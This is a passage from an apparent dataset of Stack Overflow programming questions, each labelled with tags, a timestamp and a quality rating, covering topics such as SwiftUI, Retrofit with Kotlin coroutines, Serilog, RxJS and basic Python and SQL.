A11=sheet2!A4 A14=sheet2!A5 A17=sheet2!A6 A20=sheet2!A7 A23=sheet2!A8 A26=sheet2!A9 | <excel><excel-formula> | 2019-06-05 05:58:18 | LQ_EDIT |
56,455,303 | How to merge two lists into a dictionarry | I have two lists, list1 and list2. I want to create a dict in which list1 is the keys and list2 is divided equally between them.
for example:
list1 = ['a','b','c']
list2 = [1,2,3,4,5,6,7,8]
result = {'a':[1,2,3], 'b':[4,5,6], 'c':[7,8]}
I thought about doing the following list comprehension:
num_list2_per_list1 = len(list2)//len(list1)
result_dict = { list1_member : list2[idx*num_list2_per_list1(1+idx)*num_list2_per_list1] for idx, list1_member in enumerate(list1) }
But this will not work if len(list2) < len(list1). Is there a way to fix this or do I have to make an if statement and split the code? | <python> | 2019-06-05 06:34:32 | LQ_EDIT |
56,456,134 | custom CMD command for running python script with input parameter | <p>I want to create a custom cmd command that will open a python script and also have a input parameter.</p>
<p>example:
C:\Users\myName> create newFolder</p>
<p>so create is for opening the python script (create.py)
and the parameter is for making a new folder with the same name.</p>
<p>kinda like this video <a href="https://www.youtube.com/watch?v=7Y8Ppin12r4" rel="nofollow noreferrer">https://www.youtube.com/watch?v=7Y8Ppin12r4</a></p>
| <python><batch-file><cmd> | 2019-06-05 07:41:59 | LQ_CLOSE |
56,457,010 | How to get today 00:00 time | <p>how can I get today datetime from 00:00, for example when I Use:</p>
<pre><code>var dt=DateTime.Now; // 2019/1/1 15:22:22
</code></pre>
<p>I need Another extention method to give this string format:</p>
<pre><code>string today = dt.TodayBegining(); // 2019/1/1 00:00:00
</code></pre>
| <c#> | 2019-06-05 08:41:55 | LQ_CLOSE |
56,457,214 | Is there any plugin or way to upload file to server using flutter web? | <p>I want to upload image to the server from flutter web application. Is there any better way of doing that.</p>
<p>I've already tried with couple of plugins.
image-picker, file-picker
But none of them are supported for flutter web.</p>
| <flutter-web> | 2019-06-05 08:54:29 | HQ |
56,460,436 | What is the difference between throttleTime vs debounceTime in rxjs and when to choose which? | <p>I'm trying to understand <code>throttleTime</code> vs <code>debounceTime</code> and which one is to be used when?</p>
<p>I have an upvote button that makes an API request to the backend (which counts the votes). User can submit button multiple times, but I'd like to limit the times per second button can be pressed.</p>
<p>I know throttleTime and debounceTime operators can do that, but which should I choose better?</p>
<pre><code>const upvoteClicks = fromEvent(this.el.nativeElement, 'click')
.pipe(debounceTime(500))
.subscribe(() => this.myService.postUpvote(this.postId));
</code></pre>
| <angular><rxjs><observable><rxjs-pipeable-operators> | 2019-06-05 12:23:40 | HQ |
56,463,038 | Present the old small title of UINavigationBar in SwiftUI NavigationView | <p>Until now the default <code>displayMode</code> for <code>UINavigationItem</code> was small title and it changed in SwiftUI to be large by default.</p>
<p>Is it possible to use the old small title style?</p>
| <ios><swift><swiftui> | 2019-06-05 14:55:49 | HQ |
56,463,495 | How can i use a TRIM fonction in a SQL Query? | Hi i would like to use the trim fonction but don't realy know how it working.
I need to select items in a table and export it on a CSV file.
It's working fine but sometime when i have a specif data (here it's a string), the csv file write it with à CR LF and write at the line after.
I think that a problem with the data in the data base and that there "something" after my data in this specific field.
I have this query
string request = "SELECT * FROM " + tableName;
And i want to try this but i'm not sure.
string request = "SELECT * TRIM(TRAILING FROM ") + tableName;
Can you please help me ?
sorry for my bad english
Thanks | <sql> | 2019-06-05 15:23:30 | LQ_EDIT |
56,465,083 | Custom font size for Text in SwiftUI | <p>I have a label in my view that I want to use the system font size in medium, with a size of 21 points.<br>
I created a custom extension to re-use the font created:</p>
<pre><code>extension Font {
static var primaryButton: Font {
return Font.custom("SFUIDisplay-Light", size: 21)
}
}
</code></pre>
<p>However, this does not have any effect. I changed the string to <code>HelveticaNeue-UltraLight</code> and it did work, so I'm guessing that <code>SFUIDisplay-Light</code> is simply the incorrect font name.<br>
In font book, it says <code>SFProText-Light</code>, but that also did not work for me.</p>
<p>What is the correct font name of the San Francisco font in SwiftUI?<br>
Or: how can I set the font size using the system font?</p>
| <swift><fonts><swiftui> | 2019-06-05 17:08:59 | HQ |
56,465,813 | 'n' variable in rust loop undeclared? | I don't understand where this 'n' variable in the below code comes from or what exactly it is, the author says it reads 20 bytes at a time bytes at a time, where is this coming from? My real problem is figuring out how to read from a rust TcpStream, but I think I understand that part and would just like to know where 'n' comes from.
I am trying to implement an HTTP client (sorta) in Rust as my one of my first projects and I'm trying to follow this code:
```rust
fn handle_client(mut stream: TcpStream) {
// read 20 bytes at a time from stream echoing back to stream
loop {
let mut read = [0; 1028];
match stream.read(&mut read) {
Ok(n) => {
if n == 0 {
// connection was closed
break;
}
stream.write(&read[0..n]).unwrap();
}
Err(err) => {
panic!(err);
}
}
}
}
```
I haven't really tried anything yet because I want to understand before I do. | <sockets><rust> | 2019-06-05 18:04:56 | LQ_EDIT |
56,467,124 | Serilog in ASP.NET Core Windows Service cannot write file as Local System | <p>I am running an ASP.NET Core web server as a Windows service and am using Serilog to log to a file in %PROGRAMDATA%. When I run the service as Local System, nothing is logged.</p>
<p>I am using .Net Core 2.2 on Windows 10. I am testing by triggering an error in my service that writes a log event at the error level. I've tried running the service as my own administrative account and the logging works fine; the issue only occurs when running as Local System.</p>
<p>I have other Windows Services using .Net Framework that run as Local System and have no problem logging to %PROGRAMDATA% with Serilog, but this is the first time I have tried it on .Net Core. I can manually create and write to the log file within the service with Directory.CreateDirectory and File.AppendText and that works while running as Local System, but the Serilog logging does not.</p>
<p>Here is my Program.Main:</p>
<pre class="lang-cs prettyprint-override"><code>public static async Task Main(string[] args)
{
var isService = !(Debugger.IsAttached || args.Contains("--console"));
if (isService)
{
var pathToExe = Process.GetCurrentProcess().MainModule.FileName;
var pathToContentRoot = Path.GetDirectoryName(pathToExe);
Directory.SetCurrentDirectory(pathToContentRoot);
}
var host = WebHost.CreateDefaultBuilder(args.Where(arg => arg != "--console").ToArray())
.UseStartup<Startup>()
.UseSerilog((hostingContext, loggerConfiguration) => loggerConfiguration
.ReadFrom.Configuration(hostingContext.Configuration)
.Enrich.FromLogContext())
.Build();
// additional async initialization omitted
if (isService)
{
host.RunAsService();
}
else
{
host.Run();
}
}
</code></pre>
<p>And here is the Serilog section of my appsettings.json:</p>
<pre><code>"Serilog": {
"MinimumLevel": {
"Default": "Verbose",
"Override": {
"Microsoft": "Warning",
"System": "Warning"
}
},
"WriteTo": [
{
"Name": "File",
"Args": {
"path": "%PROGRAMDATA%/foo/bar baz/logs/qux.log",
"fileSizeLimitBytes": 1048576,
"rollOnFileSizeLimit": "true",
"retainedFileCountLimit": 99,
"flushToDiskInterval": "00:00:01",
"outputTemplate": "[{Timestamp:yyyy-MM-dd HH:mm:ss.fff} {Level:u3}] {Message:lj} [{SourceContext}]{NewLine}{Exception}"
}
},
{
"Name": "Console",
"Args": {
"outputTemplate": "[{Timestamp:HH:mm:ss.fff} {Level:u3}] {Message:lj} [{SourceContext}]{NewLine}{Exception}"
}
}
]
}
</code></pre>
<p>I expected logging to be written to the file in %PROGRAMDATA% when the service is running as Local System, but nothing happens. Logging is written without issue when the service is run as any other administrative account.</p>
| <c#><asp.net-core><serilog> | 2019-06-05 19:53:21 | HQ |
56,467,618 | Login, Register and Password reset in same page | <p>I put login, register and password reset in same page and use java script on make only one available at a time. Is it bad coding?</p>
| <html><css> | 2019-06-05 20:34:15 | LQ_CLOSE |
56,468,484 | i have error regarding the addition of select or dropdown with options inside the php $output . Here is the code: | Please help me with this code.. I have to give an dropdown . now when i select a dropdown and submit it in my db the entire text that is : "Open this select menu
One
Two
Three" is coming. i only want the text which i select from dropdown
Ive tried many solutions from stack overflow related to this but everything doesnt work for me. please help me with this specefic code. iam just a begineer in php.
```
$rows = mysqli_num_rows($result);
if($rows > 0)
{
if($rows > 10)
{
$delete_records = $rows - 10;
$delete_sql = "DELETE FROM tbl_sample LIMIT $delete_records";
mysqli_query($connect, $delete_sql);
}
while($row = mysqli_fetch_array($result))
{
$output .= '
<tr>
<td class="first_name" data-id1="'.$row["id"].'" contenteditable>'.$row["first_name"].'</td>
<td class="last_name" data-id2="'.$row["id"].'" contenteditable>'.$row["last_name"].'</td>
<td><button type="button" name="delete_btn" data-id3="'.$row["id"].'" class="btn btn-xs btn-danger btn_delete">x</button></td>
</tr>
';
}
//Main code here... //
$output .= '
<tr>
<td id="first_name" contenteditable>
<select class="custom-select" multiple>
<option selected>Open this select menu</option>
<option value="1">One</option>
<option value="2">Two</option>
<option value="3">Three</option>
</select>
</td>
<td id="last_name" contenteditable></td>
<td><button type="button" name="btn_add" id="btn_add" class="btn btn-xs btn-success">+</button></td>
</tr>
';
}
else
{
$output .= '
<tr>
<td id="first_name" contenteditable></td>
<td id="last_name" contenteditable></td>
<td><button type="button" name="btn_add" id="btn_add" class="btn btn-xs btn-success">+</button></td>
</tr>';
}
$output .= '</table>
</div>';
echo $output;
?> ``` | <php><drop-down-menu> | 2019-06-05 21:49:53 | LQ_EDIT |
56,469,742 | How to select fırst element and last element of row in flex design? | How can I select first and last item in a row , in flex design?
[I mean : like in this photo , first and lastin row][1]
[1]: https://i.stack.imgur.com/Fr8ND.png
(Unfortunately , however I tried a lot, I could not put embeded photo) | <css><flexbox> | 2019-06-06 00:54:38 | LQ_EDIT |
56,470,783 | Make value of another table become column and value | I have 2 table as bellow, i need select *topic_id* = 1.
If *website* = 1 and *store* = 1, *topic.title* must be "Title 1, web 1, store 1", this is *value* of *config_id* = 1, and *field*=title will become *topic.title*. How can i get this?
https://i.stack.imgur.com/KqgY3.png
https://i.stack.imgur.com/REOLi.png | <mysql> | 2019-06-06 04:11:02 | LQ_EDIT |
56,472,727 | Difference between Apache parquet and arrow | <p>I'm looking into a way to speed up my memory intensive frontend vis app. I saw some people recommend Apache Arrow, while I'm looking into it, I'm confused about the difference between Parquet and Arrow.</p>
<p>They are both columnized data structure. Originally I thought parquet is for disk, and arrow is for in-memory format. However, I just learned that you can save arrow into files at desk as well, like abc.arrow In that case, what's the difference? Aren't they doing the same thing?</p>
| <parquet><apache-arrow> | 2019-06-06 07:25:40 | HQ |
56,474,190 | How to read and convert a protected object to an associative array in PHP | <p>I am working with an api which answers the requests with "protected" data object</p>
<p>like this</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code>(
[id:protected] => id:NYhXwGRVDzAAAAAAAAAA62
[name:protected] => 5cf8cdd54328c.EDF
[rev:protected] => 014a0000000150eaacf0
[size:protected] => 25136208
[server_modified:protected] => 2019-06-06T08:25:00Z
[has_explicit_shared_members:protected] =>
[data:protected] => Array
(
[name] => 5cf8cdd54328c.EDF
[path_lower] => /5cf8cdd54328c.edf
[path_display] => /5cf8cdd54328c.EDF
[id] => id:NYhXwGRVDzAAAAAAAA125
[client_modified] => 2019-06-06T08:25:00Z
[server_modified] => 2019-06-06T08:25:00Z
[rev] => 014a0000000150eaacf0
[size] => 25136208
[is_downloadable] => 1
[content_hash] => 86442139304784e3b18d1d46f1b20bc48847
)
)</code></pre>
</div>
</div>
</p>
<p>I have converted the object to array with the following code</p>
<pre><code>$metadata = (array)$file->getMetadata();
</code></pre>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code>Array
(
[*id] => id:NYhXwGRVDzAAAAAA44554
[*name] => 5cf8cdd54328c.EDF
[*rev] => 014a0000000150eaacf0
[*size] => 25136208
[*media_info] =>
[*sharing_info] =>
[*path_display] => /5cf8cdd54328c.EDF
[*client_modified] => 2019-06-06T08:25:00Z
[*server_modified] => 2019-06-06T08:25:00Z
[*data] => Array
(
[name] => 5cf8cdd54328c.EDF
[path_display] => /5cf8cdd54328c.EDF
[id] => id:NYhXwGRVDzAAAAAAA23382
[client_modified] => 2019-06-06T08:25:00Z
[server_modified] => 2019-06-06T08:25:00Z
[rev] => 014a0000000150eaacf0
[size] => 25136208
[is_downloadable] => 1
[content_hash] => 86442139304784e3b18d1d46f1b20bc4884
)
)</code></pre>
</div>
</div>
</p>
<p>But when i try to print the value <code>print_r($metadata['*size']);</code> </p>
<blockquote>
<p>Notice: Undefined index: *size in C:\xampp\htdocs\Proyectos\kardion\kardion\sistema\download.php on line 28</p>
</blockquote>
<p>I think it will be a very easy answer but I have no idea how to do it</p>
| <php> | 2019-06-06 09:00:48 | LQ_CLOSE |
56,476,309 | How to read every 100 lines from a large file | <p>How do I read every 100 lines in a larger file of around 100000 lines. I want to read every 100 lines in one iteration and make them coma seperated, run some code and next iteration, it should pick from 101 to 200.</p>
<p>I have searched internet, everywhere there is a solution for picking nth line and not n lines.</p>
| <bash> | 2019-06-06 11:06:10 | LQ_CLOSE |
56,476,388 | How to validate if data and column headers in the table are refreshed or not | <p>Given : There is table with 3 rows and 5 columns and a refresh button . After Refresh button is triggered, the data along with the column headers (3 columns headers) getting changed on every refresh except 2 columns headers.</p>
<p>How can we handle such a scenario using selenium?</p>
<p>Thanks</p>
| <java><selenium> | 2019-06-06 11:12:03 | LQ_CLOSE |
56,476,477 | Adding an Object to an Arraylist results in nullpointerexception | <p>I cannot add any (or maybe just the first?) Objects to my Arraylist</p>
<p>A Bikestore is an Object which contains a name and an Arraylist of all it's bikes</p>
<p>bikes have 3 different attributes (2 Strings, 1 double)</p>
<p>Bikes are added to the Store within an "addbiketocollection()" method and within this method I use the .add function.</p>
<pre><code> public class Bikes
String brand ;
String color;
double price;
Bike(String brand, String color, double price){
this.brand = brand;
this.color = color;
this.price = price;
}
public class Bikestore {
String name;
ArrayList<Bike> Collection = new ArrayList<>();
Bikestore (String name, ArrayList<Bike> Collection){
this.name = name;
this.Collection = Collection;
}
public void AddBikeToCollection (Bike NewBike) {
Collection.add(NewBike);
}
Mainclass
Bike Bike1 = new Bike ("Cube", "Black", 400);
Bikestore SellingBikes = new Bikestore ("SellingBikes", null);
SellingBikes.AddBikeToCollection(Bike1);
}
</code></pre>
<p>when I try to add bikes to the bikestore I get a nullpointerxception
Exception in thread "main" java.lang.NullPointerException</p>
<p>I have already googled my problem and watched some videos but none of these contained an arraylist with objects.</p>
| <java><arraylist><nullpointerexception> | 2019-06-06 11:17:19 | LQ_CLOSE |
56,478,027 | Google Play status "Pending publication" for already more than 20 hours? How long does it take in 2019? | <p>I am experiencing some issue with "Pending publication" status for my Android application in Google Play Developer Console.</p>
<p>Currently it is 20 hours and nothing happens.</p>
<p>How long does it really take to publish? (I am from Croatia if that is a case)</p>
<p>1st version enrolled for publish on May, 5th at 18:58 (GMT/UTC+2).
Last version (3rd) enrolled today, May 6th at 03:10 (GMT/UTC+2).</p>
<ul>
<li>AndroidX implemented</li>
<li>Firebase connected</li>
<li>No errors</li>
<li>Graphics added</li>
<li>Content rating added</li>
<li>Price added</li>
</ul>
<p>Everything is setup correctly.</p>
<p>This status "pending" is already for a 19 hours and I have to have it running tomorrow for my presentation.</p>
<p>Why does this application take so long to publihs, while others were published within 3 hours?</p>
<p>Thank you.</p>
| <google-play><google-play-developer-api> | 2019-06-06 12:52:34 | HQ |
56,479,674 | Set Toggle color in SwiftUI | <p>I've implemented a toggle after following Apple's <a href="https://developer.apple.com/tutorials/swiftui/handling-user-input" rel="noreferrer">tutorial on user input</a>. Currently, it looks like this:</p>
<p><img src="https://i.stack.imgur.com/jvmsU.png" height="150" /></p>
<p>This is the code that produces this UI:</p>
<pre><code>NavigationView {
List {
Toggle(isOn: $showFavoritesOnly) {
Text("Show Favorites only")
}
}
}
</code></pre>
<p>Now, I'd like the <code>Toggle</code>'s <em>on</em>-color to be blue instead of green.<br>
I tried:</p>
<pre><code>Toggle(isOn: $showFavoritesOnly) {
Text("Show Favorites only")
}
.accentColor(.blue)
</code></pre>
<pre><code>.foregroundColor(.blue)
</code></pre>
<pre><code>.background(Color.blue)
</code></pre>
<p>None of these worked and I wasn't able to find any other modifiers, such as <code>tintColor</code>.</p>
<p>How do I change the color of a <code>Toggle</code>?</p>
| <swift><toggle><swiftui> | 2019-06-06 14:27:38 | HQ |
56,479,719 | Order of execution in jQuery | <p>I have the following code in a website:</p>
<pre><code> alert('step 1');
// save token if app user:
if (tokenViaApp !== '' ) {
alert('step 2')
$.ajax({
type: "GET",
url: "/includes/notifications/",
data: {
t: tokenViaApp
},
success: function(msg) {
localStorage.token_origin = 'app';
alert('step 3')
}
});
}
alert('step 4')
</code></pre>
<p>If the <code>if()</code> passes, then i would think the alert should be in this order:</p>
<pre><code>step 1
step 2
step 3
step 4
</code></pre>
<p>but instead I get:</p>
<pre><code>step 1
step 2
step 4
step 3
</code></pre>
<p>Why is this the case? and how can this be changed to process correctly? </p>
| <jquery> | 2019-06-06 14:30:47 | LQ_CLOSE |
56,482,342 | obtain the index of elements in a list that satisfy a condition | <p>I am trying to index the positions of a list of integers to obtain the position of the intergers that are >0.</p>
<p>This is my list:</p>
<pre><code>paying=[0,0,0,1,0,3,4,0,5]
</code></pre>
<p>And this is the desired output:</p>
<pre><code>[3,5,6,8]
rdo=paying[paying>0]
</code></pre>
<p>and tried:</p>
<pre><code>rdo=paying.index(paying>0)
</code></pre>
<p>The output is in both cases </p>
<pre><code>typeerror > not suported between instances of list and int
</code></pre>
| <python><list> | 2019-06-06 17:21:39 | LQ_CLOSE |
56,482,528 | What is momentum in machine learning? | <p>I'm new in the field of machine learning and recently I heard about this term. I tried to read some articles in the internet but I still don't understand the idea behind it. Can someone give me some examples?</p>
| <machine-learning><artificial-intelligence> | 2019-06-06 17:34:30 | LQ_CLOSE |
56,482,808 | "How to pass String value in between URL in C/C++?" | <p>I've one variable in which i get string value from user.
Now i want to use that string value in URL.
like my string value is "Indore". so it should pass like
URL="awe/Indore/ddsd".
Please tell me how to solve?</p>
| <c++> | 2019-06-06 17:57:28 | LQ_CLOSE |
56,482,859 | is there a dropdown menu as a component? Can't find it online | I am trying to make a website which is accessible to download pdf and mp3 files of sermons but I am not able because I can't find out how to make a drop down menu thing.
I tried looking it up going on bootstrap, W3schools etc to no avail.
<script>
function myFunction() {
document.getElementById("myDropdown").classList.toggle("show");
}
window.onclick = function(event) {
if (!event.target.matches('.dropbtn')) {
var dropdowns = document.getElementsByClassName("dropdown-content");
var i;
for (i = 0; i < dropdowns.length; i++) {
var openDropdown = dropdowns[i];
if (openDropdown.classList.contains('show')) {
openDropdown.classList.remove('show');
}
}
}
}
</script>
<li>
<ul><div class="dropdown">
<button onclick="myFunction()" class="dropbtn">Lesson </button>
<div id="myDropdown" class="dropdown-content">
<a href="#" download>Lesson PDF</a>
<a href="#" download>MP3 File</a>
</div>
</div>
</ul>
<ul><div class="dropdown">
<button onclick="myFunction()" class="dropbtn">Lesson </button>
<div id="myDropdown" class="dropdown-content">
<a href="#" download>Lesson PDF</a>
<a href="#" download>MP3 File</a>
</div>
</div>
</ul>
<ul><div class="dropdown">
<button onclick="myFunction()" class="dropbtn">Lesson 3</button>
<div id="myDropdown" class="dropdown-content">
<a href="#" download>Lesson PDF</a>
<a href="#" download>MP3 File</a>
</div>
</div>
</ul>
<ul><div class="dropdown">
<button onclick="myFunction()" class="dropbtn">Lesson 4</button>
<div id="myDropdown" class="dropdown-content">
<a href="#" download>Lesson PDF</a>
<a href="#" download>MP3 File</a>
</div>
</div>
</ul>
<ul><div class="dropdown">
<button onclick="myFunction()" class="dropbtn">Lesson 5</button>
<div id="myDropdown" class="dropdown-content">
<a href="#" download>Lesson PDF</a>
<a href="#" download>MP3 File</a>
</div>
</div>
</ul>
<ul><div class="dropdown">
<button onclick="myFunction()" class="dropbtn">Lesson 6</button>
<div id="myDropdown" class="dropdown-content">
<a href="#" download>Lesson PDF</a>
<a href="#" download>MP3 File</a>
</div>
</div>
</ul>
</li>
</div>
this is the best I can do but its not good enough | <javascript><html><css> | 2019-06-06 18:00:55 | LQ_EDIT |
56,483,118 | How do I use printf to print arraylist of different variables | I have an arraylist filled with different variables, how would I print this arraylist out using the **printf** flag in Java?
public class mendietaRAL {
public static void theArrayList() {
ArrayList<Object> theList = new ArrayList<Object>();
theList.add(123);
theList.add("Java");
theList.add(3.75);
theList.add("Summer C");
theList.add(2018);
for (int i = 0; i < theList.size(); i++) {
System.out.printf(theList.get(i));
}
theList.remove(1);
theList.remove(3);
System.out.println();
for (int i = 0; i < theList.size(); i++) {
System.out.printf(theList.get(i));
}
}
}
| <java><arrays><variables><arraylist><printf> | 2019-06-06 18:21:36 | LQ_EDIT |
56,483,235 | How to create a call adapter for suspending functions in Retrofit? | <p>I need to create a retrofit call adapter which can handle such network calls:</p>
<pre><code>@GET("user")
suspend fun getUser(): MyResponseWrapper<User>
</code></pre>
<p>I want it to work with Kotlin Coroutines without using <code>Deferred</code>. I have already have a successful implementation using <code>Deferred</code>, which can handle methods such as:</p>
<pre><code>@GET("user")
fun getUser(): Deferred<MyResponseWrapper<User>>
</code></pre>
<p>But I want the ability make the function a suspending function and remove the <code>Deferred</code> wrapper.</p>
<p>With suspending functions, Retrofit works as if there is a <code>Call</code> wrapper around the return type, so <code>suspend fun getUser(): User</code> is treated as <code>fun getUser(): Call<User></code></p>
<h3>My Implementation</h3>
<p>I have tried to create a call adapter which tries to handle this. Here is my implementation so far:</p>
<p><strong>Factory</strong></p>
<pre><code>class MyWrapperAdapterFactory : CallAdapter.Factory() {
override fun get(returnType: Type, annotations: Array<Annotation>, retrofit: Retrofit): CallAdapter<*, *>? {
val rawType = getRawType(returnType)
if (rawType == Call::class.java) {
returnType as? ParameterizedType
?: throw IllegalStateException("$returnType must be parameterized")
val containerType = getParameterUpperBound(0, returnType)
if (getRawType(containerType) != MyWrapper::class.java) {
return null
}
containerType as? ParameterizedType
?: throw IllegalStateException("MyWrapper must be parameterized")
val successBodyType = getParameterUpperBound(0, containerType)
val errorBodyType = getParameterUpperBound(1, containerType)
val errorBodyConverter = retrofit.nextResponseBodyConverter<Any>(
null,
errorBodyType,
annotations
)
return MyWrapperAdapter<Any, Any>(successBodyType, errorBodyConverter)
}
return null
}
</code></pre>
<p><strong>Adapter</strong></p>
<pre><code>class MyWrapperAdapter<T : Any>(
private val successBodyType: Type
) : CallAdapter<T, MyWrapper<T>> {
override fun adapt(call: Call<T>): MyWrapper<T> {
return try {
call.execute().toMyWrapper<T>()
} catch (e: IOException) {
e.toNetworkErrorWrapper()
}
}
override fun responseType(): Type = successBodyType
}
</code></pre>
<pre><code>runBlocking {
val user: MyWrapper<User> = service.getUser()
}
</code></pre>
<p>Everything works as expected using this implementation, but just before the result of the network call is delivered to the <code>user</code> variable, I get the following error:</p>
<pre><code>java.lang.ClassCastException: com.myproject.MyWrapper cannot be cast to retrofit2.Call
at retrofit2.HttpServiceMethod$SuspendForBody.adapt(HttpServiceMethod.java:185)
at retrofit2.HttpServiceMethod.invoke(HttpServiceMethod.java:132)
at retrofit2.Retrofit$1.invoke(Retrofit.java:149)
at com.sun.proxy.$Proxy6.getText(Unknown Source)
...
</code></pre>
<p>From Retrofit's source, here is the piece of code at <code>HttpServiceMethod.java:185</code>:</p>
<pre class="lang-java prettyprint-override"><code> @Override protected Object adapt(Call<ResponseT> call, Object[] args) {
call = callAdapter.adapt(call); // ERROR OCCURS HERE
//noinspection unchecked Checked by reflection inside RequestFactory.
Continuation<ResponseT> continuation = (Continuation<ResponseT>) args[args.length - 1];
return isNullable
? KotlinExtensions.awaitNullable(call, continuation)
: KotlinExtensions.await(call, continuation);
}
</code></pre>
<p>I'm not sure how to handle this error. Is there a way to fix?</p>
| <java><android><kotlin><retrofit><kotlin-coroutines> | 2019-06-06 18:31:37 | HQ |
56,484,370 | How to declare factory constructor in abstract classes? | <p>I want to declare, but not define a factory constructor in an abstract class.</p>
<p>In my case, I want to create a method that accepts any class that implements a <code>String toJson()</code> method as well as a <code>fromJson(Map<String, dynamic> data)</code> factory constructor.</p>
<p>Is there any way to achieve that in Dart?
I'm looking for something like the following, which is not valid Dart code:</p>
<pre class="lang-dart prettyprint-override"><code>abstract class JsonSerializable {
factory fromJson(Map<String, dynamic> data);
String toJson();
}
</code></pre>
| <dart> | 2019-06-06 20:02:45 | HQ |
56,484,686 | How do I avoid 'Function components cannot be given refs' when using react-router-dom? | <p>I have the following (using Material UI)....</p>
<pre><code>import React from "react";
import { NavLink } from "react-router-dom";
import Tabs from "@material-ui/core/Tabs";
import Tab from "@material-ui/core/Tab";
function LinkTab(link){
return <Tab component={NavLink}
to={link.link}
label={link.label}
value={link.link}
key={link.link}
/>;
}
</code></pre>
<p>In the new versions this causes the following warning...</p>
<blockquote>
<p>Warning: Function components cannot be given refs. Attempts to access
this ref will fail. Did you mean to use React.forwardRef()?</p>
<p>Check the render method of <code>ForwardRef</code>.
in NavLink (created by ForwardRef)</p>
</blockquote>
<p>I tried changing to...</p>
<pre><code>function LinkTab(link){
// See https://material-ui.com/guides/composition/#caveat-with-refs
const MyLink = React.forwardRef((props, ref) => <NavLink {...props} ref={ref} />);
return <Tab component={MyLink}
to={link.link}
label={link.label}
value={link.link}
key={link.link}
/>;
}
</code></pre>
<p>But I still get the warning. How do I resolve this issue?</p>
| <reactjs><react-router><material-ui> | 2019-06-06 20:28:34 | HQ |
56,485,236 | Angular 7, IE11 throw Expected identifier SCRIPT1010 on vendor.js in WEBPACK VAR INJECTION | I have issue with Expected identifier ERROR code: SCRIPT1010 which points on vendor.js in WEBPACK VAR INJECTION section. Debugger points on line with:
const { keccak256, keccak256s } = __webpack_require__(/*! ./hash */ "./node_modules/web3-eth-accounts/node_modules/eth-lib/lib/hash.js");
tsconfig
{
"compileOnSave": false,
"compilerOptions": {
"baseUrl": "./",
"outDir": "./dist/out-tsc",
"sourceMap": true,
"declaration": false,
"module": "es2015",
"moduleResolution": "node",
"emitDecoratorMetadata": true,
"experimentalDecorators": true,
"importHelpers": true,
"target": "es5",
"typeRoots": [
"node_modules/@types"
],
"lib": [
"es2015.promise",
"es2018",
"dom"
]
}
}
polyfils:
import 'classlist.js'
(window as any).__Zone_enable_cross_context_check = true;
index.html:
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
What shoud I do to fix that? Please for hints and comments, thanks!
| <javascript><angular><typescript><internet-explorer><internet-explorer-11> | 2019-06-06 21:19:11 | LQ_EDIT |
56,485,304 | How to create a simple Binding for previews | <p>With the new <code>@Binding</code> delegate and previews, I find it kinda awkward to always have to create a <code>@State static var</code> to create the neccesarry binding:</p>
<pre class="lang-swift prettyprint-override"><code>struct TestView: View {
@Binding var someProperty: Double
var body: some View {
//...
}
}
#if DEBUG
struct TestView_Previews : PreviewProvider {
@State static var someProperty = 0.7
static var previews: some View {
TestView(someProperty: $someProperty)
}
}
#endif
</code></pre>
<p>Is there a simpler way to create a binding, that proxies a simple values for testing and previewing? </p>
| <swiftui> | 2019-06-06 21:26:42 | HQ |
56,485,886 | How to remove bullets from ul? | <p>I've read multiple topics with this same question and tried following all instructions but I can't seem to remove the bullets from the following <code><ul> <li></code> segment.</p>
<pre><code><div id="mobile-contact-bar-outer">
<ul>
<li><a data-rel="external" href="tel:+18885551212"><span class="fa-stack fa-3x"><i class="fa-fw fas fa-phone"></i>
<span class="screen-reader-text">Phone Number for calling</span></span></a></li>
<li><a data-rel="external" href="mailto:name@email.com"><span class="fa-stack fa-3x"><i class="fa-fw far fa-envelope"></i><span class="screen-reader-text">Email Address</span></span></a></li>
</ul>
</div>
</code></pre>
<p>I've added both:</p>
<pre><code>div#mobile-contact-bar-outer {
list-style-type: none!important;
}
div#mobile-contact-bar {
list-style-type: none!important;
}
</code></pre>
<p>Neither have any effect. What am I missing? No caching on site.</p>
| <css><list><bullet> | 2019-06-06 22:36:52 | LQ_CLOSE |
56,486,164 | How to check the delimiter (data separator) in between data strings in sql | Can someone please help me to write a SQL script to check the delimiter in between data strings in sql field? This field include data strings in following format:
ODC-2016-111-824035,ODC-2003-283-125666
Generally it should be a comma, I wanted to check if there are any other inappropriate delimiters (separators) such as colons (:), semi colons (;), dashes (-,\,/), spaces etc.
I would greatly appreciate if any of you can help with this.
Thanks heaps
Sapphire
Still trying but couldnt find anything useful yet...
There are multiple Data strings in a field and they should be separated by only a comma (,) as shown below:
ODC-2016-737-733488,ODC-2011-918-286353,ODC-2016-111-824035,ODC-2003-283-125666
But there are some inappropriate delimiters (separators) such as colons (:), semi colons (;), dashes (-,\,/), spaces etc.
E.g. for inappropriate delimiters:
ODC-2016-737-733488-ODC-2011-918-286353;ODC-2016-111-824035:ODC-2003-283-125666 | <sql><sql-server> | 2019-06-06 23:15:23 | LQ_EDIT |
56,487,323 | Make a VStack fill the width of the screen in SwiftUI | <p>Given this code :</p>
<pre><code>import SwiftUI
struct ContentView : View {
var body: some View {
VStack(alignment: .leading) {
Text("Title")
.font(.title)
Text("Content")
.lineLimit(nil)
.font(.body)
Spacer()
}
.background(Color.red)
}
}
#if DEBUG
struct ContentView_Previews : PreviewProvider {
static var previews: some View {
ContentView()
}
}
#endif
</code></pre>
<p>It results in this interace:</p>
<p><a href="https://i.stack.imgur.com/B87Ym.png" rel="noreferrer"><img src="https://i.stack.imgur.com/B87Ym.png" alt="preview"></a></p>
<p>How can I make the <code>VStack</code> fill the width of the screen even if the labels/text components don't need the full width?</p>
<p>A trick I've found is to insert an <em>empty</em> <code>HStack</code> in the structure like so:</p>
<pre><code>VStack(alignment: .leading) {
HStack {
Spacer()
}
Text("Title")
.font(.title)
Text("Content")
.lineLimit(nil)
.font(.body)
Spacer()
}
</code></pre>
<p>Which yields the desired design:</p>
<p><a href="https://i.stack.imgur.com/XK2cY.png" rel="noreferrer"><img src="https://i.stack.imgur.com/XK2cY.png" alt="desired output"></a></p>
<p>Is there a better way?</p>
| <ios><swift><xcode><swiftui> | 2019-06-07 02:38:02 | HQ |
